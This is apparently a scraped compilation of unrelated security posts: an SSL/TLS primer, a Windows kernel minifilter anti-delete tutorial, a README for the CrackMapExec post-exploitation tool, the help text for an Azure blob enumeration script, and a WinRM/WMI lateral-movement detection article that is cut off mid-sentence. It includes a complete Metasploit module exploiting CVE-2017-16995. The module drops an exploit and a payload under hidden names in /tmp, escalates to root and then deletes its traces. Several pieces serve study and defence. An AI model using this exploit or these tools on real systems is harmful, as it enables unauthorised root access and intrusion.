SSL/TLS for dummies part 1 : Ciphersuite, Hashing,Encryption June 22, 2018 As a security enthusiast, I always fond of the working of SSL (TLS these days). It took me days to understand the very basic working of this complex protocol. But once you understand the underlying concepts and algorithm, the entire protocol would feel quite simple. I’ve learned a lot of things while learning the working of SSL. Encryption being the first thing. I started recollecting the cryptography stuffs learned from university. Those days, I was like meh while studying them. Now, I know why teachers fed me up with all the encryption stuff. I know how much cryptography makes my life easier. I wanted to share everything I learned here at my space. And I definitely hope this will be much useful to you. So let’s begin. History of SSL When talking about the history of SSL, one shouldn’t miss Mozilla Foundation. The first thing that comes to our mind while talking about Mozilla is their famous browser Firefox. According to various sources, Firefox is the most popular browser after Chrome and Safari. But Netscape was the great predecessor of Firefox and during the 90’s it was the most popular browser among internet surfers. Anyway, by the introduction of Internet Explorer by Microsoft, Netscape’s era came to an end and later they started the great Mozilla Foundation and it still grows. Netscape in 1994 introduced SSL for its Netscape Navigator browser. The primary objective was to prevent Man In The Middle attacks. Later, with increase in internet accessibility banks started to make use of internet for transactions. That time, security was a major concern and IETF(Internet Engineering Task Force), the people who standardize internet protocols, standardized SSL by making their own version. This was in 1999 and now the protocol is known as TLS(Transport Layer Security, the latest version being TLS 1.3. Few notes about cryptography First things first, before digging deep into the topic, we need to have a basic understanding on couple of things. Most important one is cryptography. You don’t need to be Cryptography expert to understand SSL. But a basic understanding is necessary. We will discuss the very basics here. Those who already know Asymmetric and Symmetric key encryption can skip this section and go to the next part. So cryptography deals with numbers and strings. Basically every digital thing in the entire universe are numbers. When I say numbers, its 0 & 1. You know what they are, binary. The images you see on screen, the music that you listen through your earphone, everything are binaries. But our ears and eyes will not understand binaries right? Only brain could understand that, and even if it could understand binaries, it can’t enjoy binaries. So we convert the binaries to human understandable formats such as mp3,jpg,etc. Let’s term the process as Encoding. It’s two way process and can be easily decoded back to its original form. Hashing Hashing is another cryptography technique in which a data once converted to some other form can never be recovered back. In Layman’s term, there is no process called de-hashing. There are many hash functions to do the job such as sha-512, md5 and so on. The sha-512 value of wst.space is, 83d98e97ec1efc3cb4d20f81a246bff06a1c145b7c06c481defed6ef31ce6ad78db3ecb36e7ce097966f019eab7bdc7ffa6b 3fb8c5226871667ae13a6728c63b You can verify this by going to some online hash creator website and typing wst.space. If the original value cannot be recovered, then where do we use this? Passwords! When you set up a password for your mobile or PC, a hash of your password is created and stored in a secure place. When you make a login attempt next time, the entered string is again hashed with the same algorithm (hash function) and the output is matched with the stored value. If it’s the same, you get logged in. Otherwise you are thrown out. Credits: wikimedia By applying hash to the password, we can ensure that an attacker will never get our password even if he steal the stored password file. The attacker will have the hash of the password. He can probably find a list of most commonly used passwords and apply sha-512 to each of it and compare it with the value in his hand. It is called the dictionary attack. But how long would he do this? If your password is random enough, do you think this method of cracking would work? We have discussed about session cookies in one of our blog posts. The value is session cookies are usually hashed. All the passwords in the databases of Facebook, Google and Amazon are hashed, or at least they are supposed to be hashed. Then there is Encryption Encryption lies in between hashing and encoding. Encoding is a two way process and should not be used to provide security. Encryption is also a two way process, but original data can be retrieved if and only if the encryption key is known. If you don’t know how encryption works, don’t worry, we will discuss the basics here. That would be enough to understand the basics of SSL. So, there are two types of Encryption namely Symmetric and Asymmetric encryption. Symmetric Key Encryption I am trying to keep things as simple as I could. So, let’s understand the symmetric encryption by means of a shift algorithm. This algorithm is used to encrypt alphabets by shifting the letters to either left or right. Let’s take a string CRYPTO and consider a number +3. Then, the encrypted format of CRYPTO will be FUBSWR. That means each letter is shifted to right by 3 places. Here, the word CRYPTO is called Plaintext, the output FUBSWR is called the Ciphertext, the value +3 is called the Encryption key (symmetric key) and the whole process is a cipher. This is one of the oldest and basic symmetric key encryption algorithm and its first usage was reported during the time of Julius Caesar. So, it was named after him and it is the famous Caesar Cipher. Anyone who knows the encryption key and can apply the reverse of Caesar’s algorithm and retrieve the original Plaintext. Hence it is called a Symmetric Encryption. Credits: Wikimedia Can we use symmetric cryptography with TLS? As you understand, this algorithm is pretty easy to crack since the possibilities are less. We can change the value of key from 1 to anything and iterate through the 26 letters one by one. Note that the value of key is limited to 26, provided we are encrypting only small case english alphabets. It’s a matter of milliseconds for our computers to Bruteforce this process. Nowadays, there are complex algorithms such as AES (Advanced Encryption Standard) and 3DES (Triple Data Encryption Algorithm). They are considered to be really really difficult to crack. This is the encryption technique used in SSL/TLS while sending and receiving data. But, the client and server needs to agree upon a key and exchange it before starting to encrypt the data, right? The initial step of exchanging the key will obviously be in plain text. What if the attacker captures the key while sharing it? Then there is no point in using it. So we need a secure mechanism to exchange the keys without an attacker actually seeing it. There comes the role of Asymmetric Key Encryption. Asymmetric Key Encryption We know that, in Symmetric encryption same key is used for both encryption and decryption. Once that key is stolen, all the data is gone. That’s a huge risk and we need more complex technique. In 1976, Whitfield Diffie and Martin Hellman first published the concept of Asymmetric encryption and the algorithm was known as Diffie–Hellman key exchange. Then in 1978, Ron Rivest, Adi Shamir and Leonard Adleman of MIT published the RSA algorithm. These can be considered as the foundation of Asymmetric cryptography. As compared to Symmetric encryption, in Asymmetric encryption, there will be two keys instead of one. One is called the Public key, and the other one is the Private key. Theoretically, during initiation we can generate the Public-Private key pair to our machine. Private key should be kept in a safe place and it should never be shared with anyone. Public key, as the name indicates, can be shared with anyone who wish to send encrypted text to you. Now, those who have your public key can encrypt the secret data with it. If the key pair were generated using RSA algorithm, then they should use the same algorithm while encrypting the data. Usually the algorithm will be specified in the public key. The encrypted data can only be decrypted with the private key which is owned by you. Can we use Asymmetric encryption for all the TLS Asymmetric encryption is also known as Public Key Infrastructure a.k.a PKI, reason is self explanatory. Anyway, as long as you keep the private key secure, the data is safe. Great! So, probably by now you will be thinking, why would we still use symmetric encryption in TLS? We have a lot secure PKI in place. Yes, agree, but it should be noted that security has to be dealt without affecting usability. Since PKI involves a double key architecture and the key length is usually large, the encryption-decryption overhead is very high. It takes more time and CPU usage as compared to symmetric key encryption. So, when sending and receiving data between client and server, the user will feel more wait time, and the browser will start to eat the CPU. So PKI is used only to exchange the symmetric key between the client and server. Thereafter symmetric key encryption comes into play and further data transmission makes use of this technique. Well, I know I am just beating around the bush here. Because I haven’t really jumped into the topic yet. Please keep the things we have discussed so far in mind and come back to this space. We are going deep from next blog post. Sursa: https://www.wst.space/ssl-part1-ciphersuite-hashing-encryption/

Kernel Mode Rootkits: File Deletion Protection dtm waifu pillow collector Hey guys, back with just another casual article from me this time around since one of my projects failed miserably and I don’t really have the time for another serious one. Also I’ve getting into something new, as you may have already guessed, kernel-mode development! Yeah, pretty exciting stuff and I’m here to share a little something I’ve learned that might be interesting to you all. Brace yourselves! Disclaimer: The following article documents what I’ve learned and may or may not be completely accurate because I am very new to this. Of course I would never intentionally provide misinformation to this community, but please approach it relatively lightly. If there are any mistakes, please do not hesitate to inform me so I can fix them. I would also like to apologise for any garbage code, I can’t help it. :’) Windows Kernel Mode Drivers and I/O Request Packets So just really briefly, since this is not an article about kernel mode or drivers in general, I will describe some basic concepts that will aid in the understanding of the content I will present. The first thing is what’s called an “I/O Request Packet” (IRP for short) which represent the majority of what is delivered to the operating system and drivers. This can be things like a file request or a keyboard key press. What happens with IRPs and drivers is that the IRP is sent down a “stack” of drivers that are registered (with the I/O manager) to process them. It looks something like this: IORequestFlow.jpg579x565 48.1 KB Obtained from http://www.windowsbugcheck.com/2017/05/device-objects-and-driver-stack-part-2.html 1 The IRP falls down the stack until it reaches the device or driver that is capable of handling the specified request and then it will get sent back upwards once it is fulfilled. Note that the IRP does not necessarily have to go all the way down to the bottom to be completed. File Deletion Protection Here I will present the high-level conceptual overview on how it is possible to protect a file from being deleted. The condition which I have selected in order for this mechanism to prevent a file from deletion is that the file must have the .PROTECTED extension (case-insensitive). Previously, I have described that IRPs must be sent down the driver stack until the bottom or until it can be completed. If a special driver can be slotted into a position in the driver stack before whatever fulfills the targeted IRPs, it has the power to filter the request and interrupt or modify it if desired. This notion serves as the core to the file deletion protection mechanism. In order to detect if IRPs should be interrupted from deletion, it simply needs to extract the file extension and compare it to whatever is disallowed for deletion. If the extensions match, the driver will prevent the IRP from any further processing by completing the request and sending it back up the driver stack with an error. It may look a little something like this: ^ +------------+ | +> | Driver 1 | <+ IRP being sent down | +------------+ | the driver stack. | ... | (If file should be | +------------+ | (If the file should not protected, send it ----> +- | Our driver | <+ be protected, continue back up prematurely.) +------------+ sending it down.) ... +------------+ | Driver n | +------------+ ... +------------+ | Device | +------------+ Anti Delete So time for some juicy code to put theory to practice. The following code is example code of a “minifilter” driver which mainly handles file system requests. // The callbacks array defines what IRPs we want to process. CONST FLT_OPERATION_REGISTRATION Callbacks[] = { { IRP_MJ_CREATE, 0, PreAntiDelete, NULL }, // DELETE_ON_CLOSE creation flag. { IRP_MJ_SET_INFORMATION, 0, PreAntiDelete, NULL }, // FileInformationClass == FileDispositionInformation(Ex). { IRP_MJ_OPERATION_END } }; CONST FLT_REGISTRATION FilterRegistration = { sizeof(FLT_REGISTRATION), // Size FLT_REGISTRATION_VERSION, // Version 0, // Flags NULL, // ContextRegistration Callbacks, // OperationRegistration Unload, // FilterUnloadCallback NULL, // InstanceSetupCallback NULL, // InstanceQueryTeardownCallback NULL, // InstanceTeardownStartCallback NULL, // InstanceTeardownCompleteCallback NULL, // GenerateFileNameCallback NULL, // NormalizeNameComponentCallback NULL // NormalizeContextCleanupCallback }; PFLT_FILTER Filter; static UNICODE_STRING ProtectedExtention = RTL_CONSTANT_STRING(L"PROTECTED"); NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) { // We can use this to load some configuration settings. UNREFERENCED_PARAMETER(RegistryPath); DBG_PRINT("DriverEntry called.\n"); // Register the minifilter with the filter manager. NTSTATUS status = FltRegisterFilter(DriverObject, &FilterRegistration, &Filter); if (!NT_SUCCESS(status)) { DBG_PRINT("Failed to register filter: <0x%08x>.\n", status); return status; } // Start filtering I/O. status = FltStartFiltering(Filter); if (!NT_SUCCESS(status)) { DBG_PRINT("Failed to start filter: <0x%08x>.\n", status); // If we fail, we need to unregister the minifilter. FltUnregisterFilter(Filter); } return status; } First of all, the IRPs that should be processed by the driver are IRP_MJ_CREATE 1 and IRP_MJ_SET_INFORMATION 1 which are requests made when a file (or directory) is created and when metadata is being set, respectively. Both of these IRPs have the ability to delete a file which will be detailed later. The Callbacks array is defined with the respective IRP to be processed and the pre-operation and post-operation callback functions. The pre-operation defines the function that is called when the IRP goes down the stack while the post-operation is the function that is called when the IRP goes back up after it has been completed. Note that the post-operation is NULL as this scenario does not require one; the interception of file deletion is only handled in the pre-operation. DriverEntry is the driver’s main function where the registration with the filter manager is performed using FltRegisterFilter. Once that is successful, to start filtering IRPs, it must call the FltStartFiltering function with the filter handle. Also note that we have defined the extension to protect as .PROTECTED as aforementioned. It is also good practice to define an unload function so that if the driver has been requested to stop, it can perform an necessary cleanups. Its reference in this article is purely for completeness and does not serve any purpose for the main content. /* * This is the driver unload routine used by the filter manager. * When the driver is requested to unload, it will call this function * and perform the necessary cleanups. */ NTSTATUS Unload(_In_ FLT_FILTER_UNLOAD_FLAGS Flags) { UNREFERENCED_PARAMETER(Flags); DBG_PRINT("Unload called.\n"); // Unregister the minifilter. FltUnregisterFilter(Filter); return STATUS_SUCCESS; } The final function in this code is the PreAntiDelete pre-operation callback which handles the IRP_MJ_CREATE and IRP_MJ_SET_INFORMATION IRPs. IRP_MJ_CREATE includes functions that request a “file handle or file object or device object”[1] to be opened such as ZwCreateFile. IRP_MJ_SET_INFORMATION includes functions that request to set “metadata about a file or a file handle”[2] such as ZwSetInformationFile. /* * This routine is called every time I/O is requested for: * - file creates (IRP_MJ_CREATE) such as ZwCreateFile and * - file metadata sets on files or file handles * (IRP_MJ_SET_INFORMATION) such as ZwSetInformation. * * This is a pre-operation callback routine which means that the * IRP passes through this function on the way down the driver stack * to the respective device or driver to be handled. */ FLT_PREOP_CALLBACK_STATUS PreAntiDelete(_Inout_ PFLT_CALLBACK_DATA Data, _In_ PCFLT_RELATED_OBJECTS FltObjects, _Flt_CompletionContext_Outptr_ PVOID *CompletionContext) { UNREFERENCED_PARAMETER(CompletionContext); /* * This pre-operation callback code should be running at * IRQL <= APC_LEVEL as stated in the docs: * https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/writing-preoperation-callback-routines * and both ZwCreateFile and ZwSetInformaitonFile are also run at * IRQL == PASSIVE_LEVEL: * - ZwCreateFile: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntcreatefile#requirements * - ZwSetInformationFile: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntsetinformationfile#requirements */ PAGED_CODE(); /* * By default, we don't want to call the post-operation routine * because there's no need to further process it and also * because there is none. */ FLT_PREOP_CALLBACK_STATUS ret = FLT_PREOP_SUCCESS_NO_CALLBACK; // We don't care about directories. BOOLEAN IsDirectory; NTSTATUS status = FltIsDirectory(FltObjects->FileObject, FltObjects->Instance, &IsDirectory); if (NT_SUCCESS(status)) { if (IsDirectory == TRUE) { return ret; } } /* * We don't want anything that doesn't have the DELETE_ON_CLOSE * flag. */ if (Data->Iopb->MajorFunction == IRP_MJ_CREATE) { if (!FlagOn(Data->Iopb->Parameters.Create.Options, FILE_DELETE_ON_CLOSE)) { return ret; } } /* * We don't want anything that doesn't have either * FileDispositionInformation or FileDispositionInformationEx or * file renames (which can just simply rename the extension). */ if (Data->Iopb->MajorFunction == IRP_MJ_SET_INFORMATION) { switch (Data->Iopb->Parameters.SetFileInformation.FileInformationClass) { case FileRenameInformation: case FileRenameInformationEx: case FileDispositionInformation: case FileDispositionInformationEx: case FileRenameInformationBypassAccessCheck: case FileRenameInformationExBypassAccessCheck: case FileShortNameInformation: break; default: return ret; } } /* * Here we can check if we want to allow a specific process to fall * through the checks, e.g. our own application. * Since this is a PASSIVE_LEVEL operation, we can assume(?) that * the thread context is the thread that requested the I/O. We can * check the current thread and compare the EPROCESS of the * authenticated application like so: * * if (IoThreadToProcess(Data->Thread) == UserProcess) { * return FLT_PREOP_SUCCESS_NO_CALLBACK; * } * * Of course, we would need to find and save the EPROCESS of the * application somewhere first. Something like a communication port * could work. */ PFLT_FILE_NAME_INFORMATION FileNameInfo = NULL; // Make sure the file object exists. if (FltObjects->FileObject != NULL) { // Get the file name information with the normalized name. status = FltGetFileNameInformation(Data, FLT_FILE_NAME_NORMALIZED | FLT_FILE_NAME_QUERY_DEFAULT, &FileNameInfo); if (NT_SUCCESS(status)) { // Now we want to parse the file name information to get the extension. FltParseFileNameInformation(FileNameInfo); // Compare the file extension (case-insensitive) and check if it is protected. if (RtlCompareUnicodeString(&FileNameInfo->Extension, &ProtectedExtention, TRUE) == 0) { DBG_PRINT("Protecting file deletion/rename!"); // Strings match, deny access! Data->IoStatus.Status = STATUS_ACCESS_DENIED; Data->IoStatus.Information = 0; // Complete the I/O request and send it back up. ret = FLT_PREOP_COMPLETE; } // Clean up file name information. FltReleaseFileNameInformation(FileNameInfo); } } return ret; } For IRP_MJ_CREATE, we want to check for the FILE_DELETE_ON_CLOSE create option which is described as "Delete the file when the last handle to it is passed to NtClose. If this flag is set, the DELETE flag must be set in the DesiredAccess parameter."[3] If this flag is not present, we do not care about it so it is passed down the stack for further processing as represented by the FLT_PREOP_SUCCESS_NO_CALLBACK return value. Note that the NO_CALLBACK means that the post-operation routine should not be called when the IRP is completed and passed back up the stack which is what should always be returned by this function as there is no post-operation. For IRP_MJ_SET_INFORMATION, the FileInformationClass parameter should be checked. The FileDispositionInformation value is described as "Usually, sets the DeleteFile member of a FILE_DISPOSITION_INFORMATION to TRUE, so the file can be deleted when NtClose is called to release the last open handle to the file object. The caller must have opened the file with the DELETE flag set in the DesiredAccess parameter."[4]. To prevent the file from simply being renamed such that the protected extension no longer exists, the FileRenameInformation and FileShortNameInformation values must also be checked. If the driver receives an IRP request that is selected for file deletion, it must parse the file name information to extract the extension by using the FltGetFileNameInformation and FltParseFileNameInformation functions. Then it is a simple string comparison between the requested file for deletion’s extension and the protected extension to determine whether the delete operation should be allowed or disallowed. In the case of an unauthorised file deletion, the status of the operation is set to STATUS_ACCESS_DENIED and the pre-operation function completes the IRP. Demonstration Attempt to delete the file: VirtualBox_Windows 7 x86 Kernel Development_17_07_2018_00_59_09.png1366x768 82.8 KB Attempt to rename the file: VirtualBox_Windows 7 x86 Kernel Development_17_07_2018_00_59_24.png1366x768 84.7 KB FIN Hope that was educational and somewhat interesting or motivational. As usual, you can find the code on my GitHub 15. Thanks for reading! Sursa: https://0x00sec.org/t/kernel-mode-rootkits-file-deletion-protection/7616

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linux BPF Sign Extension Local Privilege Escalation', 'Description' => %q{ Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF) which contains a vulnerability where it may improperly perform sign extension. This can be utilized to escalate privileges. The target system must be compiled with BPF support and must not have kernel.unprivileged_bpf_disabled set to 1. This module has been tested successfully on: Debian 9.0 kernel 4.9.0-3-amd64; Deepin 15.5 kernel 4.9.0-deepin13-amd64; ElementaryOS 0.4.1 kernel 4.8.0-52-generic; Fedora 25 kernel 4.8.6-300.fc25.x86_64; Fedora 26 kernel 4.11.8-300.fc26.x86_64; Fedora 27 kernel 4.13.9-300.fc27.x86_64; Gentoo 2.2 kernel 4.5.2-aufs-r; Linux Mint 17.3 kernel 4.4.0-89-generic; Linux Mint 18.0 kernel 4.8.0-58-generic; Linux Mint 18.3 kernel 4.13.0-16-generic; Mageia 6 kernel 4.9.35-desktop-1.mga6; Manjero 16.10 kernel 4.4.28-2-MANJARO; Solus 3 kernel 4.12.7-11.current; Ubuntu 14.04.1 kernel 4.4.0-89-generic; Ubuntu 16.04.2 kernel 4.8.0-45-generic; Ubuntu 16.04.3 kernel 4.10.0-28-generic; Ubuntu 17.04 kernel 4.10.0-19-generic; ZorinOS 12.1 kernel 4.8.0-39-generic. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jann Horn', # Discovery 'bleidl', # Discovery and get-rekt-linux-hardened.c exploit 'vnik', # upstream44.c exploit 'rlarabee', # cve-2017-16995.c exploit 'h00die', # Metasploit 'bcoles' # Metasploit ], 'DisclosureDate' => 'Nov 12 2017', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'AKA', 'get-rekt-linux-hardened.c' ], [ 'AKA', 'upstream44.c' ], [ 'BID', '102288' ], [ 'CVE', '2017-16995' ], [ 'EDB', '44298' ], [ 'EDB', '45010' ], [ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ], [ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ], [ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ], [ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ], [ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ], [ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ], [ 'URL', 'https://usn.ubuntu.com/3523-2/' ], [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ], [ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ] ], 'DefaultTarget' => 0)) register_options [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd rm_f "#{path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable." end cmd_exec "chmod +x #{path}" end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file fd = ::File.open path, 'rb' data = fd.read fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" if unprivileged_bpf_disabled? vprint_error 'Unprivileged BPF loading is not permitted' return CheckCode::Safe end vprint_good 'Unprivileged BPF loading is permitted' release = kernel_release if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') || Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0') vprint_error "Kernel version #{release} is not vulnerable" return CheckCode::Safe end vprint_good "Kernel version #{release} appears to be vulnerable" CheckCode::Appears end def exploit unless check == CheckCode::Appears fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('exploit.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('exploit.out') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit ...' output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} " output.each_line { |line| vprint_status line.chomp } print_status "Cleaning up #{payload_path} and #{executable_path} ..." rm_f executable_path rm_f payload_path end end Sursa: https://www.exploit-db.com/exploits/45058/

CrackMapExec Acknowledgments (These are the people who did the hard stuff) This project was originally inspired by: smbmap CredCrack smbexec Unintentional contributors: The Empire project @T-S-A's smbspider script @ConsciousHacker's partial Python port of Invoke-obfuscation from the GreatSCT project This repository contains the following repositories as submodules: Impacket Pywinrm Pywerview PowerSploit Invoke-Obfuscation Invoke-Vnc Mimikittenz NetRipper RandomPS-Scripts SessionGopher Mimipenguin Documentation, Tutorials, Examples See the project's wiki for documentation and usage examples Installation Please see the installation wiki page here. How to fund my tea & sushi reserve BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr To do Kerberos support 0wn everything Sursa: https://github.com/byt3bl33d3r/CrackMapExec

MicroBurst A collection of scripts for assessing Microsoft Azure security Invoke-EnumerateAzureBlobs.ps1 PS C:> Get-Help Invoke-EnumerateAzureBlobs NAME: Invoke-EnumerateAzureBlobs SYNOPSIS: PowerShell function for enumerating public Azure Blobs and Containers. SYNTAX: Invoke-EnumerateAzureBlobs [[-Base] ] [[-OutputFile] ] [[-Permutations] ] [[-Folders] ] [[-BingAPIKey] ] [] DESCRIPTION: The function will check for valid .blob.core.windows.net host names via DNS. If a BingAPIKey is supplied, a Bing search will be made for the base word under the .blob.core.windows.net site. After completing storage account enumeration, the function then checks for valid containers via the Azure REST API methods. If a valid container has public files, the function will list them out. -------------------------- EXAMPLE 1 -------------------------- PS C:\>Invoke-EnumerateAzureBlobs -Base secure Found Storage Account - secure.blob.core.windows.net Found Storage Account - testsecure.blob.core.windows.net Found Storage Account - securetest.blob.core.windows.net Found Storage Account - securedata.blob.core.windows.net Found Storage Account - securefiles.blob.core.windows.net Found Storage Account - securefilestorage.blob.core.windows.net Found Storage Account - securestorageaccount.blob.core.windows.net Found Storage Account - securesql.blob.core.windows.net Found Storage Account - hrsecure.blob.core.windows.net Found Storage Account - secureit.blob.core.windows.net Found Storage Account - secureimages.blob.core.windows.net Found Storage Account - securestorage.blob.core.windows.net Found Container - hrsecure.blob.core.windows.net/NETSPItest Public File Available: https://hrsecure.blob.core.windows.net/NETSPItest/SuperSecretFile.txt Found Container - secureimages.blob.core.windows.net/NETSPItest123 RELATED LINKS: https://blog.netspi.com/anonymously-enumerating-azure-file-resources/ Sursa: https://github.com/NetSPI/MicroBurst

Lateral Movement Using WinRM and WMI Tony LambertNovember 20, 2017 Many organizations invest millions of dollars to bolster their systems and prevent attackers from gaining entry. Much less attention is given to the concept of lateral movement within an organization. Yet we’ve seen time and time again that once an adversary breaks through the crunchy outer layer of the network, the gooey center quickly becomes trivial to move about. Stopping lateral movement is just as important as preventing a breach. Attackers frequently move laterally with tools included in Windows, and this tactic has also been observed within commodity malware samples. This article will outline a threat detection in which Windows Remote Management (WinRM) spawned a process via Windows Management Instrumentation (WMI). First, let’s take a look at normal execution of WinRM and why it’s important to secure it. How WinRM Usually Works Normal execution of WinRM involves the configuration and inspection of the Windows Remote Management subsystem. This subsystem has been part of Windows by default since Windows Vista, and it has evolved to power the new way of remote management: PowerShell Remoting. Essentially, Windows has a built-in-by-default system that lends itself well to lateral movement and it’s up to administrators to secure it properly. If admins don’t take the right steps, attackers can use stolen credentials to launch processes on multiple computers across the network. Within minutes, an incident can grow from a single compromised system to hundreds using built-in tools in Windows. We usually see simple commands such as “winrm get config” or “winrm quickconfig.” In this case, we noticed something very different… What are we seeing and why isn’t it normal? Functionality of the WinRM command is provided through a Visual Basic Script, so it’s natural to see WinRM configuration performed from the CScript utility. The command of concern used with WinRM here is the “invoke” command. This command allows WinRM to work with management resources defined by the Windows operating system, primarily through WMI. After looking into the structure of a WinRM command, we discovered that whatever comes after “invoke” is a method defined per management resource or WMI class. In this case, the Win32_Process WMI class has a “Create” method. This allows the user of WinRM to execute a process via WMI. Now we can interpret the rest of the command. The screenshot below enumerates three things to note. The “-r” switch (1) signifies the WinRM Invoke statement is being executed on a remote host specified at the “HTTPS” address. This is significant because if we look at the host this command was executed from, we won’t find evidence of what happened after this command. To get visibility from here, we’d need to jump over to the remote host and observe what happened. The “-a” (2) and “-c” (3) switches signify the attacker authenticated to the remote host using a certificate identified by the specified thumbprint. At this point it should be becoming apparent this isn’t normal. There are much better ways to run simple applications when authorized to do so. For example, legitimate system administrators can use PowerShell Remoting or PsExec commands to run applications on remote computers. And when on a local computer, users can simply double-click on applications or launch them through the Command Shell or PowerShell. Quite simply, processes started in this fashion are an anomaly. But, hey… at least the attacker used encryption when connecting to the host! How to Detect This Threat A detection engineer originally found this event due to other bad behavior on the endpoint and realized we needed a way to better detect it. To get more information about its detection, we jumped into a test lab to look at different permutations of this attack. We realized the attack would be slightly different if the attacker had left out the remote connectivity options, so we began there. In most cases when a command launches another command, we expect to see the second one spawn as a child process of the first. So in theory we would expect WinRM to spawn a process as a child to “CScript.exe.” Once we got into the lab, we found a different reality: CScript had no child processes! Not only that, it didn’t modify any files or leave any other telltale signs that a process had been spawned. So we needed to dive deeper to find how Notepad executed… Notepad spawned as a child process of “wmiprvse.exe,” a binary whose function allows WMI to interface with the rest of the Windows operating system. Our WinRM command simply submitted an operation to WMI, and WMI used its own interfaces to execute that operation and spawn a process. Our initial detection specified a remote host, so our next round of testing needed a remote host. This time around, we raised the stakes by attempting to execute “vssadmin.exe” instead of Notepad since we’ve observed lateral movement used with vssadmin during ransomware attacks. When we examined the execution of vssadmin, we discovered that it spawned from “wmiprvse.exe” just like our first test (which did not involve a remote host). This time around there was another catch: we didn’t see a network connection from “wmiprvse.exe”. In fact, we had to search around to find the connection, and it was shown as established by one of the “svchost” processes. This is due to the nature of WinRM, since it executes as a Windows Service and makes all the relevant network connections on behalf of the processes that use it. To expand your detection functions for this attack, you’ll need to monitor processes spawning from “wmiprvse.exe” and suspicious network connections to “svchost.” For those interested in monitoring processes spawning from WMI, be warned! It gets noisy, and you’ll need to establish a baseline of what looks normal in your environment. Once you can outline legitimate activity from your admins, you can focus on spotting evil. How to Mitigate This Threat WinRM can be secured in a few different ways. First, system admins should establish a management network architecture that lends itself to increased security. This involves establishing a jumpbox that is only used for remote administration functions. This strategy helps secure a network by forcing this privileged activity through a single controlled and hardened system, therefore not exposing sensitive credentials to attack. It also helps secure WinRM directly because we can limit the number of hosts trusted by the WinRM subsystem. In an ideal environment, client computers in the organization should not trust one another, and they should only trust the jumpbox systems. To configure what trusted hosts are allowed to contact WinRM, we can execute the following command: winrm set winrm/config/client '@{TrustedHosts="JumpBox1,JumpBox2"}' This configuration can also be enforced using Group Policy objects in an Active Directory environment. This can be accomplished via a policy with the “Allow remote server management through WinRM” setting, and specifying a list of hosts to trust. For authentication to WinRM for management, keep the defaults when possible as they don’t allow the less secure methods of authentication (Kerberos is default). Finally, WinRM default configurations establish both an HTTP and HTTPS listener. If you can, endeavor to disable the HTTP listener and only use WinRM over 